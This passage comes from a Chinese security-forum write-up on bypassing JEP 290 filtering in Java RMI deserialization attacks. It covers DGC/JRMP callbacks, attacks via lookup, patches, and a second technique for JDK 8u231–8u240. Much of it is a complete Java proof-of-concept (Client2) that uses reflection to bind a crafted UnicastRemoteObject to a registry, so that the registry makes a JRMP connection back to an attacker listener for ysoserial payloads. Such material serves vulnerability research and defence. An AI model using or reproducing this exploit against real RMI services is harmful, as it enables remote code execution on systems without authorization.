this.incomingRefTable就是一个HashMap,就是在前面的saveRef赋值的,里面有传入的恶意JRMP的ip port,然后由DGCClient向恶意的JRMP发起连接。

此时我们的RMI注册端就变成了JRMP客户端,但是最终要这么利用嘞

向恶意JRMP服务器发起dirty请求

执行super.ref.invoke(var5)发送数据和处理接收的数据,

咋executeCall()中执行readObject(),这里是处理服务端发送过来的消息。ysoserial将报错信息改为payload,因为要更改报错信息所以需要自己实现一个服务端。

使用lookup

对于lookup也是可以实现攻击的,虽然只能传入String类型,但是对比起bind、rebind、unbind需要验证ip,lookup就不需要验证ip,只需要修改一下传输数据或者重新实现lookup的代码逻辑就能使用。

修改数据:https://github.com/lalajun/RMIDeserialize/releases

重新实现lookup:https://github.com/wh1t3p1g/ysomap

修复
  1. sun.rmi.registry.RegistryImpl_Skel#dispatch报错情况消除ref
  2. sun.rmi.transport.DGCImpl_Stub#dirty提前了黑名单

    1. 虽然能够连接成功,但是CC链也被过滤了

方式二

适用版本:8u231-8u240

直接利用了UnicastRemoteObject的readObject然后一路执行到TCPTransport#listen,在TcpEndpoint#newServerSocket,触发动态代理(RemoteObjectInvocationHandler 代理的RMIServerSocketFactory接口)

ServerSocket newServerSocket() throws IOException {
        if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
            TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
        }

        Object var1 = this.ssf;
        if (var1 == null) {
            var1 = chooseFactory();
        }

        ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);

到RMIServerSocketFactory#invoke->RemoteObjectInvocationHandler#invokeRemoteMethod->UnicastRef#invoke

然后就建立JRMP连接,反序列化ysoserial的数据

在bind或咋rebind的时候在MarshalOutputStream#replaceObject方法,如果对象没有继承RemoteStub,那么UnicastRemoteObject 会被转化成 RemoteObjectInvocationHandler,我们可以利用反射修改enableReplace为false。

poc

package org.payload.rmi.bypassJEP290;

import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.Random;

public class Client2 {
    public static void main(String[] args) throws Exception {
        UnicastRemoteObject payload = getPayload();
        Registry registry = LocateRegistry.getRegistry(1091);
        bindReflection("pwn", payload, registry);
    }

    static UnicastRemoteObject getPayload() throws Exception {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                handler.getClass().getClassLoader(),
                new Class[]{RMIServerSocketFactory.class, Remote.class},
                handler
        );
        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = constructor.newInstance();

        Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
        field_ssf.setAccessible(true);
        field_ssf.set(unicastRemoteObject, factory);

        return unicastRemoteObject;
    }

    static void bindReflection(String name, Object obj, Registry registry) throws Exception {
        Field ref_filed = RemoteObject.class.getDeclaredField("ref");
        ref_filed.setAccessible(true);
        UnicastRef ref = (UnicastRef) ref_filed.get(registry);

        Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
        operations_filed.setAccessible(true);
        Operation[] operations = (Operation[]) operations_filed.get(registry);

        RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();

        Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplace_filed.setAccessible(true);
        enableReplace_filed.setBoolean(outputStream, false);

        outputStream.writeObject(name);
        outputStream.writeObject(obj);

        ref.invoke(remoteCall);
        ref.done(remoteCall);
    }
}

8u241之后对RMI反序列化攻击就基本无了

点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖